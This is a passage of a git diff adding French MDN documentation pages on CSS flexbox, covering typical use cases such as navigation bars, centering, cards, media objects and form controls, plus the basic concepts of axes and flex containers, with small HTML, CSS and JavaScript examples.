+<h3 id="HTML_2">HTML</h3>
+
+<pre class="brush: html;">&lt;div id="document" class="vertical-box"&gt;
+  &lt;div class="fixed-size"&gt;&lt;button id="increase-size"&gt;Augmenter la taille du conteneur&lt;/button&gt;&lt;/div&gt;
+  &lt;div id="flexible-content" class="flexible-size"&gt;&lt;/div&gt;
+  &lt;div class="fixed-size"&gt;&lt;button id="decrease-size"&gt;Réduire la taille du conteneur&lt;/button&gt;&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js;">var height = 400;
+document.getElementById('increase-size').onclick=function() {
+  height += 10;
+  if (height &gt; 500) height = 500;
+  document.getElementById('document').style.height = (height + "px");
+}
+
+document.getElementById('decrease-size').onclick=function() {
+  height -= 10;
+  if (height &lt; 300) height = 300;
+  document.getElementById('document').style.height = (height + "px");
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Répartir_des_conteneurs_verticalement', 500, 500)}}</p>
+
+<h2 id="Créer_un_conteneur_horizontal_qui_se_replie">Créer un conteneur horizontal qui se replie</h2>
+
+<p>Dans certains cas, on veut pouvoir afficher des informations horizontalement lorsque l'écran le permet et les replier en vertical lorsque la taille est trop réduire. On peut obtenir cet effet simplement avec les boîtes flexibles en utilisant la valeur <code>wrap</code> sur la propriété {{cssxref("flex-flow")}}.</p>
+
+<h3 id="CSS_3">CSS</h3>
+
+<pre class="brush: css;">.horizontal-container {
+  display: flex;
+  width: 300px;
+  flex-flow: row wrap;
+}
+.fixed-size {
+  flex: none;
+  width: 100px;
+  background-color: black;
+  color: white;
+  text-align: center;
+}
+</pre>
+
+<h3 id="HTML_3">HTML</h3>
+
+<pre class="brush: html;">&lt;div id="container" class="horizontal-container"&gt;
+  &lt;div class="fixed-size"&gt;Élément 1&lt;/div&gt;
+  &lt;div class="fixed-size"&gt;Élément 2&lt;/div&gt;
+  &lt;div class="fixed-size"&gt;Élément 3&lt;/div&gt;
+&lt;/div&gt;
+&lt;button id="increase-size"&gt;Augmenter la taille du conteneur&lt;/button&gt;
+&lt;button id="decrease-size"&gt;Réduire la taille du conteneur&lt;/button&gt;
+</pre>
+
+<h3 id="JavaScript_2">JavaScript</h3>
+
+<pre class="brush: js;">var width = 300;
+
+document.getElementById('increase-size').onclick=function() {
+  width += 100;
+  if (width &gt; 300) width = 300;
+  document.getElementById('container').style.width = (width + "px");
+}
+
+document.getElementById('decrease-size').onclick=function() {
+  width -= 100;
+  if (width &lt; 100) width = 100;
+  document.getElementById('container').style.width = (width + "px");
+}
+</pre>
+
+<h3 id="Résultat_2">Résultat</h3>
+
+<p>{{EmbedLiveSample('Créer_un_conteneur_horizontal_qui_se_replie', 500, 200)}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Disposition_des_boîtes_flexibles_CSS/Utilisation_des_flexbox_en_CSS">Manipuler les boîtes flexibles</a></li>
+</ul>
diff --git a/files/fr/web/css/css_flexible_box_layout/cas_utilisation_flexbox/index.html b/files/fr/web/css/css_flexible_box_layout/cas_utilisation_flexbox/index.html
new file mode 100644
index 0000000000..26a4738980
--- /dev/null
+++ b/files/fr/web/css/css_flexible_box_layout/cas_utilisation_flexbox/index.html
@@ -0,0 +1,140 @@
+---
+title: Cas d'utilisation classiques de flexbox
+slug: Web/CSS/CSS_Flexible_Box_Layout/Cas_utilisation_flexbox
+tags:
+  - CSS
+  - Guide
+  - Intermediate
+  - flexbox
+translation_of: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox
+---
+<p>{{CSSRef}}</p>
+
+<p class="summary">Dans ce guide, nous verrons quels sont les cas d'utilisation classiques pour les boîtes flexibles et lorsque cette méthode est plus pertinente qu'une autre méthode de disposition.</p>
+
+<h2 id="Pourquoi_choisir_les_boîtes_flexibles">Pourquoi choisir les boîtes flexibles ?</h2>
+
+<p>Dans un monde où la compatibilité entre navigateurs serait un lointain souvenir, on pourrait choisir d'utiliser les boîtes flexibles lorsqu'on souhaite organiser un ensemble d'élément dans une direction ou dans une autre. Lorsqu'on place les éléments, on souhaite contrôler les dimensions de ces éléments dans cette direction ou contrôler l'espacement ainsi créé entre les éléments. C'est ce pourquoi les boîtes flexibles ont été conçues. Vous pouvez approfondir les différences entre les boîtes flexibles et la disposition en grille CSS avec <a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Liens_entre_flexbox_et_les_autres_dispositions">l'article sur les relations entre <em>flexbox</em> et les autres méthodes de disposition</a> où nous voyons comment s'inscrivent les boîtes flexibles dans le paysage de CSS.</p>
+
+<p>Dans la réalité, on utilise souvent les boîtes flexibles pour créer des organisations qu'il serait plus pertinent de construire avec une disposition en grille et pour lesquelles les boîtes flexibles sont une méthode de recours et offrent une certaine capacité d'alignement. Sur ce deuxième aspect, cela pourra évoluer lorsque l'alignement des boîtes sera implémenté dans la disposition en bloc. Dans ce guide, nous verrons quels sont les cas classiques où on utilise les boîtes flexibles aujourd'hui.</p>
+
+<h2 id="La_navigation">La navigation</h2>
+
+<p>Un motif souvent utilisé pour la navigation consiste à avoir une liste d'objets qui forment une barre horizontale. Ce motif, bien que simple, était plutôt compliqué à obtenir avant l'apparition des boîtes flexibles. C'est l'exemple le plus simple pour les boîtes flexibles et cela constitue un cas d'utilisation idéal.</p>
+
+<p>Lorsqu'on a un ensemble d'objets qu'on souhaite organiser horizontalement, on peut avoir plus d'espace que nécessaire. Il faut décider comment utiliser cet espace : on peut afficher cet espace entre les éléments afin de les espacer ou bien agrandir les objets. Dans ce dernier cas, il nous faut une méthode pour permettre aux objets de grandir et d'occuper cet espace.</p>
+
+<h3 id="L'espace_distribué_en_dehors_des_éléments">L'espace distribué en dehors des éléments</h3>
+
+<p>Pour répartir l'espace entre les éléments ou autour d'eux, on pourra utiliser les propriétés d'alignement des boîtes flexibles et la propriété {{cssxref("justify-content")}}. Vous pouvez approfondir cette propriété avec le guide <a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Aligner_des_éléments_dans_un_conteneur_flexible">Aligner des objets dans un conteneur flexible</a>, qui décrit comment aligner des objets sur l'axe principal.</p>
+
+<p>Dans l'exemple qui suit, on affiche les éléments en utilisant leur taille naturelle et on écrit <code>justify-content: space-between</code> afin de répartir l'espace équitablement entre chaque élément. Cette répartition de l'espace peut être modifiée en utilisant la valeur <code>space-around</code> ou, lorsqu'elle est prise en charge, la valeur <code>space-evenly</code>. On peut également utiliser <code>flex-start</code> afin de placer l'espace après les éléments ou encore <code>flex-end</code> pour placer l'espace avant les éléments voire <code>center</code> afin de centrer les éléments.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation.html", '100%', 550)}}</p>
+
+<h3 id="L'espace_distribué_au_sein_des_éléments">L'espace distribué au sein des éléments</h3>
+
+<p>On pourrait aussi répartir cet espace disponible afin d'agrandir les éléments plutôt que de les espacer. Dans ce cas, on utilisera les propriétés  {{cssxref("flex")}} afin de permettre aux éléments de grandir/rétrécir proportionnellement les uns aux autres, comme nous avons pu le détailler dans <a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Contrôler_les_proportions_des_boîtes_flexibles_le_long_de_l_axe_principal">Contrôler les proportions des éléments flexibles le long de l'axe principal</a>.</p>
+
+<p>Si on souhaite que tous les éléments de la barre aient la même largeur, on utilisera <code>flex: auto</code> qui correspond à la notation raccourcie de <code>flex: 1 1 auto</code> — tous les objets grandissent et rétrécissent de la même façon à partir d'une taille de base automatique. Cela signifie que le plus grand élément occupera plus d'espace.</p>
+
+<p>Dans l'exemple qui suit, vous pouvez modifier <code>flex: auto</code> pour utiliser <code>flex: 1</code> qui correspond à la notation raccourcie de <code>flex: 1 1 0</code> et qui permet d'avoir la même largeur pour chaque élément, car la base (<code>flex-basis</code>) vaut 0 et permet de répartir l'intégralité de l'espace de façon équitable.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation-flex.html", '100%', 550)}}</p>
+
+<h2 id="La_navigation_séparée">La navigation séparée</h2>
+
+<p>Une autre façon d'aligner les éléments le long de l'axe principal consiste à utiliser des marges automatiques. Cela permet d'obtenir une barre où une partie des éléments sont alignés à gauche alors qu'un second groupe est aligné à droite.</p>
+
+<p>Dans l'exemple qui suit, on utilise la technique des marges automatiques détaillée dans <a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Aligner_des_éléments_dans_un_conteneur_flexible#Utiliser_les_marges_automatiques_pour_aligner_sur_l'axe_principal">Utiliser les marges automatiques pour l'alignement sur l'axe principal</a>. Les éléments sont alignés le long de l'axe principal avec <code>flex-start</code>, ce qui correspond au comportement initial (par défaut) des boîtes flexibles, et on affecte une marge automatique à gauche pour les éléments qu'on souhaite aligner à droite. Dans le code de l'exemple, vous pouvez déplacer la classe pour l'appliquer sur un autre élément afin de voir comment la césure se déplace.</p>
+
+<p>Dans cet exemple, on utilise également des marges sur les éléments flexibles afin de créer des gouttières entre les éléments ainsi qu'une marge négative sur le conteneur afin que les éléments aux extrémités soient bien alignés sur les bords gauche et droit. Tant que les propriétés <code>gap</code> de la spécification sur l'alignement des boîtes (<em>Box Alignment</em>) ne sont pas implémentées pour les boîtes flexibles, il nous faut utiliser les marges de cette façon si on souhaite créer une gouttière entre les éléments.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/split-navigation.html", '100%', 550)}}</p>
+
+<h2 id="Centrer_des_éléments">Centrer des éléments</h2>
+
+<p>Avant l'apparition des boîtes flexibles, une blague récurrente consistait à dire qu'un des défis majeur sur le Web était le centrage vertical des éléments. Disposant désormais des propriétés d'alignement pour les boîtes flexibles, surmonter ce défi est beaucoup plus accessible. Nous allons le voir dans l'exemple suivant.</p>
+
+<p>Vous pouvez manipuler les propriétés d'alignement pour aligner les objets au début avec <code>flex-start</code> ou à la fin avec <code>flex-end</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/center.html", '100%', 700)}}</p>
+
+<p>À l'avenir, il ne sera peut-être plus nécessaire d'utiliser un conteneur flexible afin de centrer un seul élément, car les propriétés d'alignement des boîtes auront également été implémentées pour la disposition en bloc. Mais aujourd'hui, si on souhaite correctement centrer un objet dans un centre, il faut utiliser les boîtes flexibles. On procède comme dans l'exemple ci-avant : on modifie le conteneur afin que ce soit un conteneur flexible puis on utilise la propriété <code>align-items</code> sur l'élément parent ou bien on cible l'élément voulu avec <code>align-self</code>.</p>
+
+<h2 id="Une_disposition_en_cartes_avec_un_pied_ajustable">Une disposition en cartes avec un pied ajustable</h2>
+
+<p>Qu'on utilise les boîtes flexibles ou les grilles CSS afin d'organiser une liste de cartes, ces méthodes fonctionnent uniquement sur les éléments fils directs du conteneur flexible ou du conteneur de grille. Cela signifie que si on dispose d'une quantité de contenu variable, la carte s'étirera sur toute la hauteur de la grille ou sur toute la hauteur du conteneur flexible. Tout le contenu à l'intérieur utilise une disposition en bloc classique qui signifie que le pied de page d'une carte avec moins de contenu sera plus haut que celui d'une carte disposant de plus de contenu pour lequel le pied est bien aligné en bas de la carte.</p>
+
+<p><img alt="Deux composants &quot;carte&quot; montrant que l'élément contenant le texte ne s'étire pas." src="https://mdn.mozillademos.org/files/15669/flex-cards.png" style="height: 626px; width: 964px;"></p>
+
+<p>On peut résoudre ce problème avec les boîtes flexibles. Pour commencer, on transforme la carte en conteneur flexible avec {{cssxref("flex-direction")}}<code>: column</code>. Ensuite, on affecte un coefficient <code>flex: 1</code> à la zone du contenu (ce qui correspond à la notation raccourcie <code>flex: 1 1 0</code>) : l'élément pourra s'étirer ou se rétrécir avec une base <code>0</code>. Comme c'est le seul élément de la carte qui peut grandir, il occupera tout l'espace encore disponible dans le conteneur flexible et poussera le pied en bas de carte. Dans l'exemple qui suit, si on retire la propriété <code>flex</code>, on peut voir le pied remonter pour être inscrit directement après le contenu.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/cards.html", '100%', 800)}}</p>
+
+<h2 id="Les_objets_média">Les objets média</h2>
+
+<p>Un objet média est un motif classique en <em>design</em> web. Dans ce motif, on a une image ou un autre média d'un côté et le texte associé à droite. Idéalement, on souhaite pouvoir inverser les deux composants et déplacer l'image à droite.</p>
+
+<p>On peut voir ce motif utilisé avec les commentaires, les endroits où on affiche des images et leur description. Avec les boîtes flexibles, on peut dimensionner l'objet média en fonction des dimensions de l'image et occuper le reste de l'espace avec le contenu textuel.</p>
+
+<p>Dans l'exemple suivant, on utilise les propriétés d'alignement des objets sur l'axe secondaire avec <code>flex-start</code> puis on définit <code>.content</code> avec <code>flex: 1</code>. Comme vu dans l'exemple précédent, <code>flex: 1</code> signifie que cette partie de la carte peut grandir.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media.html", '100%', 600)}}</p>
+
+<p>Vous pouvez ici essayer d'appliquer les différentes contraintes relatives à votre conception.</p>
+
+<p>Pour empêcher l'image de devenir trop large, on pourra ajouter la propriété {{cssxref("max-width")}} à l'image. Cette dimension de l'objet utilisant les valeurs initiales des propriétés flexibles, elle pourra rétrécir mais pas grandir et elle utilisera <code>auto</code> comme valeur pour <code>flex-basis</code>. Toute largeur {{cssxref("width")}} ou <code>max-width</code> appliquée à l'image sera utilisée comme mesure pour <code>flex-basis</code>.</p>
+
+<pre class="brush: css">.image img {
+  max-width: 100px;
+}
+</pre>
+
+<p>On peut également permettre aux deux côtés de grandir/rétrécir proportionnellement. Si on paramètre les deux côtés avec <code>flex: 1</code>, ils grandiront/rétréciront à partir d'une base {{cssxref("flex-basis")}} égale à 0 et on obtiendra alors deux colonnes de même taille. Si on souhaite plutôt utiliser la taille du contenu comme base, on pourra utiliser <code>flex: auto</code> et les deux côtés grandiront/rétréciront à partir de la taille de leur contenu ou de toute taille qui leur serait explicitement appliquée en CSS (par exemple une largeur sur l'image).</p>
+
+<pre class="brush: css">.media .content {
+  flex: 1;
+  padding: 10px;
+}
+
+.image {
+  flex: 1;
+}</pre>
+
+<p>On pourrait aussi utiliser différents coefficients {{cssxref("flex-grow")}} pour chaque côté. Utiliser <code>flex: 1</code> pour le côté avec l'image et <code>flex: 3</code> pour le côté avec la description signifierait qu'ils partiraient tous les deux avec une base <code>flex-basis</code>  <code>0</code> et que l'espace serait distribué dans des proportions différentes correspondantes aux valeurs de <code>flex-grow</code>. Les propriétés flexibles que nous utilisons ici sont décrites en détail dans le guide <a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Contrôler_les_proportions_des_boîtes_flexibles_le_long_de_l_axe_principal">Contrôler les proportions des éléments flexibles le long de l'axe principal</a>.</p>
+
+<pre class="brush: css">.media .content {
+  flex: 3;
+  padding: 10px;
+}
+
+.image {
+  flex: 1;
+}</pre>
+
+<h3 id="Inverser_la_position_de_l'objet_média">Inverser la position de l'objet média</h3>
+
+<p>Si on souhaite échanger la position de l'image dans l'objet média pour l'afficher à droite avec le contenu textuel à gauche, on pourra utiliser la propriété <code>flex-direction</code> avec la valeur <code>row-reverse</code>. L'objet média est désormais affiché dans l'autre sens. Dans l'exemple, cela s'obtient grâce à l'ajout de la classe <code>flipped</code> (en plus de la classe existante <code>.media</code>). Vous pouvez donc annuler cet effet en retirant la classe dans le code HTML.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media-flipped.html", '100%', 650)}}</p>
+
+<h2 id="Les_contrôles_de_formulaire">Les contrôles de formulaire</h2>
+
+<p>Les boîtes flexibles s'avèrent particulièrement utiles losqu'on met en forme des contrôles de formulaires. Les formulaires sont généralement constitués de nombreux éléments qu'on souhaite aligner les uns avec les autres. Un motif fréquent se compose d'un élément {{htmlelement("input")}} associé à un élément  {{htmlelement("button")}} (par exemple un formulaire de recherche ou un champ où on souhaite qu'un visiteur saisisse une adresse électronique).</p>
+
+<p>Les boîtes flexibles facilitent la construction de tels motifs. Dans l'exemple suivant, on enveloppe l'élément <code>&lt;button&gt;</code> et l'élément <code>&lt;input&gt;</code> dans un conteneur auquel on ajoute une bordure et pour lequel on a <code>display: flex</code>. On utilise ensuite les propriétés flexibles afin de permettre à l'élément <code>&lt;input&gt;</code> de grandir et de conserver la même taille pour le bouton. On a donc une paire d'éléments pour laquelle la zone de saisie s'ajuste en fonction de l'espace disponible.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/input-button.html", '100%', 550)}}</p>
+
+<p>On pourrait ajouter un libellé ou une icône à gauche aussi facilement qu'on a ajouté un bouton à droite. Dans la version suivante, on ajoute un libellé et d'autres règles de mise en forme pour l'arrière-plan. Il n'est pas nécessaire de modifier le reste de la disposition. Le champ de saisie adaptable possède désormais moins d'espace mais continue à consommer l'espace disponible après le placement des deux autres objets.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/label-input-button.html", '100%', 550)}}</p>
+
+<p>De tels motifs facilitent la création d'une bibliothèque d'éléments de formulaires pour les différents documents d'un projet. On tire parti de la flexibilité des boîtes flexibles en mélangeant les éléments qui peuvent s'étendre et ceux qui restent à une taille constante.</p>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>En explorant les motifs de ce guide, nous avons vu certaines des meilleures façons d'utiliser les boîtes flexibles pour obtenir le résultat souhaité. La plupart du temps, plusieurs choix s'offrent à nous. Mélanger des éléments qui peuvent s'étirer avec d'autres qui ne le peuvent pas, utiliser la taille du contenu comme point de départ ou encore permettre aux boîtes flexibles de gérer tout l'espace.</p>
+
+<p>Pensez à la meilleure façon de présenter le contenu dont vous disposez puis voyez comment les boîtes flexibles ou les autres méthodes de disposition peuvent vous aider à obtenir cette présentation.</p>
diff --git a/files/fr/web/css/css_flexible_box_layout/concepts_de_base_flexbox/index.html b/files/fr/web/css/css_flexible_box_layout/concepts_de_base_flexbox/index.html
new file mode 100644
index 0000000000..dadea30a48
--- /dev/null
+++ b/files/fr/web/css/css_flexible_box_layout/concepts_de_base_flexbox/index.html
@@ -0,0 +1,235 @@
+---
+title: Les concepts de base pour flexbox
+slug: Web/CSS/CSS_Flexible_Box_Layout/Concepts_de_base_flexbox
+tags:
+  - Beginner
+  - CSS
+  - Débutant
+  - Guide
+  - flexbox
+translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Le module des boîtes flexibles, aussi appelé « <em>flexbox</em> », a été conçu comme un modèle de disposition unidimensionnel et comme une méthode permettant de distribuer l'espace entre des objets d'une interface ainsi que de les aligner. Dans cet article, nous verrons les fonctionnalités principales des <em>flexbox</em> que nous approfondirons ensuite dans d'autres articles.</p>
+
+<p>Lorsqu'on décrit les boîtes flexibles comme une méthode de disposition unidimensionnelle, on indique en fait que les <em>flexbox</em> gèrent une seule dimension à la fois : une ligne ou une colonne. Ce modèle est à comparer au modèle bidimensionnel de <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">la disposition en grille (CSS Grid)</a> qui contrôle à la fois les colonnes et les lignes.</p>
+
+<h2 id="Les_deux_axes_des_boîtes_flexibles">Les deux axes des boîtes flexibles</h2>
+
+<p>Lorsqu'on travaille avec les boîtes flexibles, deux axes interviennent : l'axe principal (<em>main axis</em> en anglais) et l'axe secondaire (<em>cross axis</em> en anglais). L'axe principal est défini par la propriété {{cssxref("flex-direction")}} et l'axe secondaire est l'axe qui lui est perpendiculaire. Tout ce que nous manipulons avec les boîtes flexibles fera référence à ces axes.</p>
+
+<h3 id="L'axe_principal">L'axe principal</h3>
+
+<p>L'axe principal est défini par la propriété <code>flex-direction</code> qui peut prendre quatre valeurs :</p>
+
+<ul>
+ <li><code>row</code></li>
+ <li><code>row-reverse</code></li>
+ <li><code>column</code></li>
+ <li><code>column-reverse</code></li>
+</ul>
+
+<p>Si on choisit la valeur <code>row</code> ou <code>row-reverse</code>, l'axe principal sera aligné avec la direction « en ligne » (<em>inline</em> direction) (c'est la direction logique qui suit le sens d'écriture du document).</p>
+
+<p><img alt="If flex-direction is set to row the main axis runs along the row in the inline direction." src="https://mdn.mozillademos.org/files/15614/Basics1.png" style="display: block; height: 152px; margin: 0px auto; width: 522px;"></p>
+
+<p>Si on choisit la valeur <code>column</code> ou <code>column-reverse</code>, l'axe principal suivra la direction de bloc (<em>block direction</em>) et progressera le long de l'axe perpendiculaire au sens d'écriture.</p>
+
+<p><img alt="If flex-direction is set to column the main axis runs in the block direction." src="https://mdn.mozillademos.org/files/15615/Basics2.png" style="display: block; height: 227px; margin: 0px auto; width: 709px;"></p>
+
+<h3 id="L'axe_secondaire_(cross_axis)">L'axe secondaire (<em>cross axis</em>)</h3>
+
+<p>L'axe secondaire est perpendiculaire à l'axe principal. Ainsi, si <code>flex-direction</code> vaut <code>row</code> ou <code>row-reverse</code>, l'axe secondaire suivra l'axe des colonnes.</p>
+
+<p><img alt="If flex-direction is set to row then the cross axis runs in the block direction." src="https://mdn.mozillademos.org/files/15616/Basics3.png" style="display: block; height: 125px; margin: 0px auto; width: 666px;"></p>
+
+<p>Si l'axe principale est <code>column</code> ou <code>column-reverse</code>, l'axe secondaire suivra celui des lignes (horizontales).</p>
+
+<p><img alt="If flex-direction is set to column then the cross axis runs in the inline direction." src="https://mdn.mozillademos.org/files/15617/Basics4.png" style="display: block; height: 244px; margin: 0px auto; width: 523px;"></p>
+
+<p>Comprendre les liens entre les différents axes est crucial lorsqu'on commence à aligner/justifier des éléments flexibles sur un axe ou l'autre grâce aux fonctionnalités et propriétés des boîtes flexibles.</p>
+
+<h2 id="Les_lignes_de_début_et_de_fin">Les lignes de début et de fin</h2>
+
+<p>Une autre notion fondamentale est l'absence d'hypothèse sur le mode d'écriture du document. Pour les modèles de disposition précédents, CSS était fortement orienté vers les modes d'écritures de droite à gauche et de gauche à droite. Les modèles de disposition modernes permettent de gérer naturellement les différents modes d'écriture et ne reposent plus sur l'idée qu'une ligne de texte commencera en haut à gauche d'un document puis progressera vers la droite et que chaque nouvelle ligne apparaîtra sous la précédente.</p>
+
+<p>Nous verrons plus tard les détails des relations entre les spécifications des boîtes flexibles et celles des modes d'écriture. Toutefois, décrivons ici pourquoi on ne parlera plus de gauche ou de droite et de bas ou de haut lorsque nous évoquerons la direction dans laquelle s'organisent les éléments flexibles.</p>
+
+<p>Si <code>flex-direction</code> vaut <code>row</code> et que nous travaillons sur un document écrit en français, la ligne de début de l'axe principal sera située à gauche et la ligne de fin sera située à droite.</p>
+
+<p><img alt="Working in English the start edge is on the left." src="https://mdn.mozillademos.org/files/15618/Basics5.png" style="display: block; height: 152px; margin: 0px auto; width: 631px;"></p>
+
+<p>Si on travaille sur un document écrit dans une langue arabe, la ligne de début de l'axe principal sera à droite et la ligne de fin à gauche.</p>
+
+<p><img alt="The start edge in a RTL language is on the right." src="https://mdn.mozillademos.org/files/15619/Basics6.png" style="display: block; height: 152px; margin: 0px auto; width: 634px;"></p>
+
+<p>Dans les deux cas, la ligne de début de l'axe secondaire est située en haut et la ligne de fin de cet axe est située en bas car ces deux langues sont écrites horizontalement.</p>
+
+<p>Nous verrons qu'au fur et à mesure, il devient naturel de parler de début et de fin plutôt que de gauche et de droite. De plus, ce niveau d'abstraction sera utile pour comprendre d'autres méthodes de disposition comme les grilles CSS car il y est également utilisé.</p>
+
+<h2 id="Le_conteneur_flexible">Le conteneur flexible</h2>
+
+<p>La zone d'un document sujette au modèle de disposition <em>flexbox</em> est appelée un <strong>conteneur flexible</strong>. Pour créer un conteneur flexible, il faut que la valeur de la propriété {{cssxref("display")}} de cet élément soit <code>flex</code> ou <code>inline-flex</code>. Dès que c'est le cas, les éléments « enfants » directs deviennent des <strong>éléments flexibles (<em>flex items</em>)</strong>. Comme pour les autres propriétés CSS, certaines valeurs initiales sont définies, aussi, lorsqu'on crée un conteneur flexible, tous les éléments flexibles se comporteront de la façon suivante :</p>
+
+<ul>
+ <li>Les éléments s'afficheront en lignes horizontales (la valeur par défaut de la propriété <code>flex-direction</code> est <code>row</code>).</li>
+ <li>Les éléments seront placés à partir de la ligne de début de l'axe principal.</li>
+ <li>Les éléments ne s'étireront pas le long de l'axe principal mais pourront se rétrécir si nécessaire.</li>
+ <li>Les éléments seront étirés le long de l'axe secondaire afin d'occuper l'espace sur cet axe.</li>
+ <li>La propriété {{cssxref("flex-basis")}} vaut <code>auto</code>.</li>
+ <li>La propriété {{cssxref("flex-wrap")}} vaut <code>nowrap</code>.</li>
+</ul>
+
+<p>Autrement dit, tous les éléments formeront une ligne en utilisant la taille de leur contenu. S'il y a plus d'éléments que le conteneur peut en contenir, ils ne formeront pas une nouvelle ligne mais dépasseront du conteneur. Si certains éléments sont plus grands (selon l'axe secondaire) que d'autres, tous les éléments s'étireront sur l'axe secondaire afin d'avoir la plus grande taille.</p>
+
+<p>Vous pouvez étudier l'exemple qui suit pour voir le résultat obtenu. N'hésitez pa à éditer les éléments ou à en ajouter d'autres pour tester ce comportement initial.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/the-flex-container.html", '100%', 510)}} </p>
+
+<h3 id="Modifier_flex-direction">Modifier <code>flex-direction</code></h3>
+
+<p>En ajoutant la propriété {{cssxref("flex-direction")}} au conteneur flexible, on peut modifier la direction dans laquelle les éléments flexibles seront affichés. En utilisant <code>flex-direction: row-reverse</code>, les éléments seront affichés le long d'une ligne horizontale mais les lignes de début et de fin seront inversées.</p>
+
+<p>Si on utilise <code>column</code> comme valeur de <code>flex-direction</code>, l'axe principal est modifié et les éléments sont affichés sur une colonne. Si on utilise <code>column-reverse</code>, les lignes de début et de fin seront également inversées.</p>
+
+<p>Dans l'exemple suivant, on utilise <code>flex-direction</code> avec la valeur <code>row-reverse</code>. Vous pouvez utiliser d'autres valeurs — <code>row</code>, <code>column</code> et <code>column-reverse</code> — afin de voir le résultat produit.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-direction.html", '100%', 350)}}</p>
+
+<h2 id="Créer_un_conteneur_flexible_sur_plusieurs_lignes_avec_flex-wrap">Créer un conteneur flexible sur plusieurs lignes avec <code>flex-wrap</code></h2>
+
+<p>Bien que le modèle des boîtes flexibles soit organisé sur une dimension, il est possible d'organiser les éléments flexibles afin que ceux-ci s'étendent sur plusieurs lignes ou colonnes (plutôt que de dépasser). Lorsque c'est le cas, chaque nouvelle ligne ou colonne agit comme un nouveau conteneur flexible. La distribution de l'espace sur cette ligne/colonne ne tiendra pas compte des autres lignes/colonnes.</p>
+
+<p>Pour obtenir ce « passage à la ligne », on ajoute la propriété {{cssxref("flex-wrap")}} avec la valeur <code>wrap</code>. Désormais, si les éléments sont trop grands pour tenir sur une seule ligne, ils passeront sur une autre ligne. L'exemple suivant illustre le résultat obtenu lorsque la somme des tailles des éléments dépasse celle du conteneur. Avec <code>flex-wrap</code> qui vaut <code>wrap</code>, les éléments passent à la ligne. Si on modifie la valeur avec <code>nowrap</code> (qui correspond à la valeur initiale), les éléments seront rétrécis pour tenir sur une ligne (car les valeurs initiales des boîtes flexibles permettent aux éléments d'être ainsi redimensionnés). Si on utilise <code>nowrap</code> et que les éléments ne peuvent pas être redimensionnés (ou pas suffisamment), cela causera un dépassement.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-wrap.html", '100%', 400)}}</p>
+
+<p>Pour approfondir ces notions, vous pouvez consulter l'article <a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Ma%C3%AEtriser_passage_%C3%A0_la_ligne_des_%C3%A9l%C3%A9ments_flexibles">Maîtriser le passage à la ligne des éléments flexibles</a>.</p>
+
+<h2 id="La_propriété_raccourcie_flex-flow">La propriété raccourcie <code>flex-flow</code></h2>
+
+<p>Il est possible de synthétiser les propriétés <code>flex-direction</code> et <code>flex-wrap</code> avec la propriété raccourcie {{cssxref("flex-flow")}}. La première valeur de cette propriété sera utilisée pour <code>flex-direction</code> et la seconde pour <code>flex-wrap</code>.</p>
+
+<p>Dans l'exemple qui suit, vous pouvez changer les valeurs de <code>flex-direction</code> en utilisant <code>row</code>, <code>row-reverse</code>, <code>column</code> ou <code>column-reverse</code> pour la première et <code>wrap</code> ou <code>nowrap</code> pour la seconde.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-flow.html", '100%', 400)}}</p>
+
+<h2 id="Les_propriétés_appliquées_aux_éléments_flexibles">Les propriétés appliquées aux éléments flexibles</h2>
+
+<p>Pour mieux contrôler les éléments flexibles, on peut les cibler directement avec trois propriétés :</p>
+
+<ul>
+ <li>{{cssxref("flex-grow")}}</li>
+ <li>{{cssxref("flex-shrink")}}</li>
+ <li>{{cssxref("flex-basis")}}</li>
+</ul>
+
+<p>Nous verrons ici un rapide aperçu de ces propriétés que nous approfondirons dans l'article <a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Contr%C3%B4ler_les_proportions_des_bo%C3%AEtes_flexibles_le_long_de_l_axe_principal">Contrôler les proportions des éléments flexibles le long de l'axe principal</a>.</p>
+
+<p>Avant de revenir à ces propriétés, il nous faut définir le concept d'<strong>espace disponible</strong>. Lorsque nous modifierons l'une de ces propriétés, cela modifiera la façon dont l'espace disponible est distribué parmi les éléments. Ce concept est également important lorsqu'on aligne les éléments.</p>
+
+<p>Prenons un conteneur de 500 pixels de large et qui contient trois éléments de 100 pixels de large. Il faut donc 300 pixels pour disposer ces éléments et il reste ainsi 200 pixels d'espace disponible. Si on ne modifie pas les valeurs initiales, l'espace disponible sera placé après le dernier élément.</p>
+
+<p><img alt="This flex container has available space after laying out the items." src="https://mdn.mozillademos.org/files/15620/Basics7.png" style="display: block; height: 198px; margin: 0px auto; width: 528px;"></p>
+
